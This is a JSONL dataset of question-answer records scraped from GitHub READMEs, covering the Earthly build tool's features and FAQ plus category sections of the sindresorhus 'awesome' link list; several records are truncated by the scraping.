{"id": "gh_071417d1e4fd", "question": "How to: 🔁 Repeatable Builds", "question_body": "About earthly/earthly", "answer": "Earthly runs all builds in containers, making them self-contained, isolated, repeatable, and portable. This allows for faster iteration on build scripts and easier debugging when something goes wrong – no more `git commit -m \"try again\"`. When you write a build, you know it will execute correctly no matter where it runs – your laptop, a colleague’s laptop, or any CI. You don’t have to configure language-specific tooling, install additional dependencies, or complicate your build scripts to ensure they are compatible with different OSs. Earthly gives you consistent, repeatable builds regardless of where they run.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557533"}
{"id": "gh_e58cf6aee665", "question": "How to: ❤️ Super Simple", "question_body": "About earthly/earthly", "answer": "Earthly’s syntax is easy to write and understand. Most engineers can read an Earthfile instantly, without prior knowledge of Earthly. We combined some of the best ideas from Dockerfiles and Makefiles into one specification – like Dockerfile and Makefile had a baby.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557550"}
{"id": "gh_874e556f8abb", "question": "How to: 🛠 Compatible with Every Language, Framework, and Build Tool", "question_body": "About earthly/earthly", "answer": "Earthly works with the compilers and build tools you use. If it runs on Linux, it runs on Earthly. And you don’t have to rewrite your existing builds or replace your `package.json`, `go.mod`, `build.gradle`, or `Cargo.toml` files. You can use Earthly as a wrapper around your existing tooling and still get Earthly’s repeatable builds, parallel execution, and build caching.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557559"}
{"id": "gh_0f16e16fde45", "question": "How to: 🏘 Great for Monorepos and Polyrepos", "question_body": "About earthly/earthly", "answer": "Earthly is great for both monorepos and polyrepos. You can split your build logic across multiple Earthfiles, placing some deeper inside the directory structure or even in other repositories. Referencing targets from other Earthfiles is easy regardless of where they are stored. So you can organize your build logic however makes the most sense for your project.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557567"}
{"id": "gh_82b940c8b30e", "question": "How to: 💨 Fast Builds", "question_body": "About earthly/earthly", "answer": "Earthly automatically executes build targets in parallel and makes maximum use of cache. This makes builds fast. Earthly also has powerful shared caching capabilities that speed up builds frequently run across a team or in sandboxed environments, such as Earthly Satellites, GitHub Actions, or your CI.\n\nIf your build has multiple steps, Earthly will:\n1. Build a directed acyclic graph (DAG).\n2. Isolate execution of each step.\n3. Run independent steps in parallel.\n4. Cache results for future use.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557575"}
{"id": "gh_d1f7e35741f9", "question": "How to: ♻️ Reuse, Don't Repeat", "question_body": "About earthly/earthly", "answer": "Never have to write the same code in multiple builds again. With Earthly, you can reuse targets, artifacts, and images across multiple Earthfiles, even ones in other repositories, in a single line. Earthly is cache-aware, based on the individual hashes of each file, and has shared caching capabilities. So you can create a vast and efficient build hierarchy that only executes the minimum required steps.\nWhere Does Earthly Fit?\nEarthly is meant to be used both on your development machine and in CI. It runs on top of your CI/CD platform (such as [Jenkins](https://docs.earthly.dev/ci-integration/vendor-specific-guides/jenkins), [Circle CI](https://docs.earthly.dev/examples/circle-integration), [GitHub Actions](https://docs.earthly.dev/examples/gh-actions-integration), and [GitLab CI/CD](https://docs.earthly.dev/ci-integration/vendor-specific-guides/gitlab-integration)). Earthly provides the benefits of a modern build automation system wherever it runs – such as caching and parallelism. It is a glue layer between language-specific build tooling (like maven, gradle, npm, pip, go build) and CI, working like a wrapper around your build tooling and build logic that isolates build execution from the environments they run in.\nHow Does It Work?\nIn short: **containers**, **layer caching**, and **complex build graphs**!\n\nEarthly executes builds in containers, where execution is isolated. The dependencies of the build are explicitly specified in the build definition, thus making the build self-sufficient.\n\nWe use a target-based system to help users break up complex builds into reusable parts. Nothing is shared between targets other than clearly declared dependencies. Nothing shared means no unexpected race conditions. In fact, the build is executed in parallel whenever possible, without any need for the user to take care of any locking or unexpected environment interactions.\n\n> **ℹ️ Note**\n> Earthfiles might seem very similar to Dockerfile multi-stage builds. In fact, the [same technology](https://github.com/moby/buildkit) is used underneath. However, a key difference is that Earthly is designed to be a general-purpose build system, not just a Docker image specification. Read more about [how Earthly is different from Dockerfiles](#how-is-earthly-different-from-dockerfiles).\nInstallation\nSee [installation instructions](https://earthly.dev/get-earthly).\n\nTo build from source, check the [contributing page](./CONTRIBUTING.md).\nQuick Start\nHere are some resources to get you started with Earthly\n\n* 🏁 [Getting started guide](https://docs.earthly.dev/basics)\n* 👀 [Examples](./examples)\n  * [Go](./examples/go)\n  * [JavaScript](./examples/js)\n  * [Python](./examples/python)\n  * [Java](./examples/java)\n  * [Rust](./examples/rust)\n  * [TypeScript (Node)](./examples/typescript-node)\n  * [C++](./examples/cpp)\n  * [C](./examples/c)\n  * [dotnet (C#)](./examples/dotnet)\n  * [Ruby](./examples/ruby)\n  * [Scala](./examples/scala)\n  * [Elixir](./examples/elixir)\n  * [COBOL](./examples/cobol)\n  * [Monorepo](./examples/monorepo)\n  * [Multirepo](./examples/multirepo)\n  * [Multiplatform Builds](./examples/multiplatform)\n  * [Integration Tests](./examples/integration-test)\n* 🔍 Explore [Earthly's own build](https://docs.earthly.dev/docs/examples#earthlys-own-build)\n* ✔️ [Best practices](https://docs.earthly.dev/best-practices)\n\nSee also the [full documentation](https://docs.earthly.dev).\n\nReference pages\n\n* 📑 [Earthfile reference](https://docs.earthly.dev/docs/earthfile)\n* #️⃣ [Earthly command reference](https://docs.earthly.dev/docs/earthly-command)\n* ⚙️ [Configuration reference](https://docs.earthly.dev/docs/earthly-config)", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557602"}
{"id": "gh_e7e891b273ba", "question": "How to: ⛓ Parallelization that just works", "question_body": "About earthly/earthly", "answer": "Whenever possible, Earthly automatically executes targets in parallel.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557614"}
{"id": "gh_97399bdd54f1", "question": "How to: 💾 Caching that works the same as Docker builds", "question_body": "About earthly/earthly", "answer": "", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557621"}
{"id": "gh_e986833f00a0", "question": "How to: 🛠 Multi-platform support", "question_body": "About earthly/earthly", "answer": "Build for multiple platforms in parallel.\n\n```earthly\nVERSION 0.8\nall:\n    BUILD \\\n        --platform=linux/amd64 \\\n        --platform=linux/arm64 \\\n        --platform=linux/arm/v7 \\\n        --platform=linux/arm/v6 \\\n        +build\n\nbuild:\n    FROM alpine:3.18\n    CMD [\"uname\", \"-m\"]\n    SAVE IMAGE multiplatform-image\n```", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557628"}
{"id": "gh_006066dff7d2", "question": "How to: 🤲 Build tools that work everywhere", "question_body": "About earthly/earthly", "answer": "No need to ask your team to install `protoc`, a specific version of Python, Java 1.6, or the .NET Core ecosystem. Install once in your Earthfile, and it works for everyone. Or even better, you can just make use of the rich Docker Hub ecosystem.\n\n```earthly\nVERSION 0.8\nFROM golang:1.15-alpine3.13\nWORKDIR /proto-example\n\nproto:\n  FROM namely/protoc-all:1.29_4\n  COPY api.proto /defs\n  RUN --entrypoint -- -f api.proto -l go\n  SAVE ARTIFACT ./gen/pb-go /pb AS LOCAL pb\n\nbuild:\n  COPY go.mod go.sum .\n  RUN go mod download\n  COPY +proto/pb pb\n  COPY main.go ./\n  RUN go build -o build/proto-example main.go\n  SAVE ARTIFACT build/proto-example\n```\n\nSee full [example code](./examples/readme/proto).", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557637"}
{"id": "gh_3718b2247214", "question": "How to: 📦 Modern import system", "question_body": "About earthly/earthly", "answer": "Earthly can be used to reference and build targets from other directories or even other repositories. For example, if we wanted to build [an example target from the `github.com/earthly/earthly` repository](./examples/go/Earthfile#L17-L20), we could issue\n\n```bash", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557643"}
{"id": "gh_59aafc48dffa", "question": "How to: Try it yourself! No need to clone.", "question_body": "About earthly/earthly", "answer": "earthly github.com/earthly/earthly/examples/go:main+docker", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557649"}
{"id": "gh_cdfaed52f5a9", "question": "How to: 🔨 Reference other targets using +", "question_body": "About earthly/earthly", "answer": "Use `+` to reference other targets and create complex build inter-dependencies.\nExamples\n\n* Same directory (same Earthfile)\n\n  ```earthly\n  BUILD +some-target\n  FROM +some-target\n  COPY +some-target/my-artifact ./\n  ```\n\n* Other directories\n\n  ```earthly\n  BUILD ./some/local/path+some-target\n  FROM ./some/local/path+some-target\n  COPY ./some/local/path+some-target/my-artifact ./\n  ```\n\n* Other repositories\n\n  ```earthly\n  BUILD github.com/someone/someproject:v1.2.3+some-target\n  FROM github.com/someone/someproject:v1.2.3+some-target\n  COPY github.com/someone/someproject:v1.2.3+some-target/my-artifact ./\n  ```", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557659"}
{"id": "gh_eee4c6c088ee", "question": "How to: 🔑 Cloud secrets support built-in", "question_body": "About earthly/earthly", "answer": "Secrets are never stored within an image's layers and they are only available to the commands that need them.\n\n```bash\nearthly set /user/github/token 'shhh...'\n```\n\n```earthly\nrelease:\n  RUN --push --secret GITHUB_TOKEN=user/github/token github-release upload file.bin\n```\nFAQ", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557666"}
{"id": "gh_3cadd8d47c0c", "question": "How to: How is Earthly different from Dockerfiles?", "question_body": "About earthly/earthly", "answer": "[Dockerfiles](https://docs.docker.com/engine/reference/builder/) were designed for specifying the make-up of Docker images and that's where Dockerfiles stop. Earthly takes some key principles of Dockerfiles (like layer caching) but expands on the use cases. For example, Earthly can output regular artifacts, run unit and integration tests, and create several Docker images at a time - all outside the scope of Dockerfiles.\n\nIt is possible to use Dockerfiles in combination with other technologies (e.g., Makefiles or bash files) to solve such use cases. However, these combinations are difficult to parallelize, challenging to scale across repositories as they lack a robust import system, and often vary in style from one team to another. Earthly does not have these limitations as it was designed as a general-purpose build system.\n\nFor example, Earthly introduces a richer target, artifact, and image [referencing system](https://docs.earthly.dev/docs/guides/target-ref), allowing for better reuse in complex builds spanning a single large repository or multiple repositories. Because Dockerfiles are only meant to describe one image at a time, such features are outside the scope of applicability of Dockerfiles.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557675"}
{"id": "gh_70e2802e4b13", "question": "How to: How do I know if a command is a classic Dockerfile command or an Earthly command?", "question_body": "About earthly/earthly", "answer": "Check out the [Earthfile reference doc page](https://docs.earthly.dev/docs/earthfile). It has all the commands there and specifies which commands are the same as Dockerfile commands and which are new.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557681"}
{"id": "gh_91fa59da55ee", "question": "How to: Can Earthly build Dockerfiles?", "question_body": "About earthly/earthly", "answer": "Yes! You can use the command `FROM DOCKERFILE` to inherit the commands in an existing Dockerfile.\n\n```earthly\nbuild:\n  FROM DOCKERFILE .\n  SAVE IMAGE some-image:latest\n```\n\nYou may also optionally port your Dockerfiles to Earthly entirely. Translating Dockerfiles to Earthfiles is usually a matter of copy-pasting and making minor adjustments. See the [getting started page](https://docs.earthly.dev/basics) for some Earthfile examples.", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11971, "answer_score": 10, "has_code": true, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557687"}
{"id": "gh_2a0b93ef90b7", "question": "How to: How is Earthly different from Bazel?", "question_body": "About earthly/earthly", "answer": "[Bazel](https://bazel.build) is a build tool developed by Google to optimize the speed, correctness, and reproducibility of their internal monorepo codebase. The main difference between Bazel and Earthly is that Bazel is a **build system**, whereas Earthly is a **general-purpose CI/CD framework**. For a more in-depth explanation see [our FAQ](https://earthly.dev/faq#bazel).\nContributing\n* Please report bugs as [GitHub issues](https://github.com/earthly/earthly/issues).\n* Join us on [Slack](https://earthly.dev/slack)!\n* Questions via GitHub issues are welcome!\n* PRs welcome! But please give a heads-up in a GitHub issue before starting work. If there is no GitHub issue for what you want to do, please create one.\n* To build from source, check the [contributing page](./CONTRIBUTING.md).\nLicensing\nEarthly is licensed under the Mozilla Public License Version 2.0. See [LICENSE](./LICENSE).", "tags": ["earthly"], "source": "github_gists", "category": "earthly", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11971, "answer_score": 10, "has_code": false, "url": "https://github.com/earthly/earthly", "collected_at": "2026-01-16T23:28:40.557695"}
{"id": "gh_28f264b962df", "question": "How to: Programming Languages", "question_body": "About sindresorhus/awesome", "answer": "- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)\n\t- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)\n\t- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.\n\t- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)\n\t- [Tips](https://github.com/loverajoel/jstips#readme)\n\t- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)\n\t- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)\n\t- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.\n\t- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.\n\t- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.\n\t- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.\n\t- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.\n\t- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)\n\t- [Observables](https://github.com/sindresorhus/awesome-observables#readme)\n\t- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.\n\t- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.\n\t- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.\n- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.\n\t- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)\n\t- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)\n- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.\n\t- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.\n\t- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.\n\t- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.\n\t- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.\n\t- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.\n\t- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.\n- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)\n\t- [Pest](https://github.com/pest-parser/awesome-pest#readme) - Parser generator.\n- [Haskell](https://github.com/krispo/awesome-haskell#readme)\n- [PureScript](https://github.com/passy/awesome-purescript#readme)\n- [Go](https://github.com/avelino/awesome-go#readme)\n- [Scala](https://github.com/lauris/awesome-scala#readme)\n\t- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.\n- [Ruby](https://github.com/markets/awesome-ruby#readme)\n- [Clojure](https://github.com/razum2um/awesome-clojure#readme)\n- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)\n- [Elixir](https://github.com/h4cc/awesome-elixir#readme)\n- [Elm](https://github.com/sporto/awesome-elm#readme)\n- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)\n- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.\n- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)\n- [C](https://github.com/inputsh/awesome-c#readme)\n- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.\n- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.\n\t- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)\n- [D](https://github.com/dlang-community/awesome-d#readme)\n- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.\n\t- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)\n- [Perl](https://github.com/hachiojipm/awesome-perl#readme)\n- [Groovy](https://github.com/kdabir/awesome-groovy#readme)\n- [Dart](https://github.com/yissachar/awesome-dart#readme)\n- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to \"write once, run anywhere\".\n\t- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)\n \t- [J2ME](https://github.com/hstsethi/awesome-j2me#readme) - Java spe", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034151"}
{"id": "gh_df164e3994e9", "question": "How to: Front-End Development", "question_body": "About sindresorhus/awesome", "answer": "- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)\n- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)\n- [Web Tools](https://github.com/lvwzhen/tools#readme)\n- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.\n\t- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)\n\t- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)\n\t- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)\n\t- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)\n\t- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)\n- [React](https://github.com/enaqx/awesome-react#readme) - JavaScript library for building user interfaces.\n\t- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.\n\t- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - Lets you use state and other React features without writing a class.\n- [Web Components](https://github.com/web-padawan/awesome-web-components#readme)\n- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.\n- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.\n- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.\n- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.\n- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.\n- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)\n- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.\n- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.\n- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)\n- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.\n- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)\n- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)\n- [Meteor](https://github.com/Urigo/awesome-meteor#readme)\n- [BEM](https://github.com/sturobson/BEM-resources#readme)\n- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)\n- [Web Typography](https://github.com/deanhume/typography#readme)\n- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)\n- [Material Design](https://github.com/sachin1092/awesome-material#readme)\n- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.\n- [Emails](https://github.com/jonathandion/awesome-emails#readme)\n- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.\n\t- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)\n- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)\n- [Offline-First](https://github.com/pazguille/offline-first#readme)\n- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)\n- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.\n- [Text Editing](https://github.com/dok/awesome-text-editing#readme)\n- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)\n- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.\n- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.\n- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.\n- [Charting](https://github.com/zingchart/awesome-charting#readme)\n- [Ionic Framework](https://github.com/candelibas/awesome-ionic#readme)\n- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)\n- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.\n- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.\n- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)\n- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)\n- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.\n- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.\n- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.\n- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.\n- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.\n- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.\n- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.\n- [Preact](https://github.com/preactjs/awesome-preact#readme) -", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034179"}
{"id": "gh_f039917a7439", "question": "How to: Back-End Development", "question_body": "About sindresorhus/awesome", "answer": "- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.\n- [Docker](https://github.com/veggiemonk/awesome-docker#readme)\n- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.\n- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.\n- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)\n- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.\n- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.\n\t- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)\n- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.\n\t- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)\n\t- [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.\n- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.\n\t- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.\n- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.\n- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)\n- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.\n- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.\n- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.\n- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.\n- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.\n- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.\n- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.\n- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.\n- [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift.\n- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.\n- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.\n- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.\n- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.\n- [Slim](https://github.com/nekofar/awesome-slim#readme) - PHP framework.\n- [Fiber](https://github.com/gofiber/awesome-fiber#readme) - Web framework built on top of Fasthttp, the fastest HTTP engine for Go.\n- [Kustomize](https://github.com/DevOpsHiveHQ/awesome-kustomize#readme) - Kubernetes native declarative configuration management tool.\n- [OpenTofu](https://github.com/virtualroot/awesome-opentofu#readme) - Open-source infrastructure as code tool.\n- [Reflex](https://github.com/reflex-dev/awesome-reflex#readme) - Python web framework for building both your frontend and backend with no JavaScript.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034190"}
{"id": "gh_d3d85e2fabda", "question": "How to: Computer Science", "question_body": "About sindresorhus/awesome", "answer": "- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)\n- [Data Science](https://github.com/academic/awesome-datascience#readme)\n\t- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)\n- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)\n\t- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)\n\t- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.\n\t- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.\n\t- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.\n\t- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.\n\t- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.\n\t- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.\n\t- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.\n- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)\n\t- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)\n\t- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)\n\t- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.\n\t- [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data-to-text, conversational agents, and narrative generation applications.\n- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)\n- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)\n\t- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.\n- [Computer 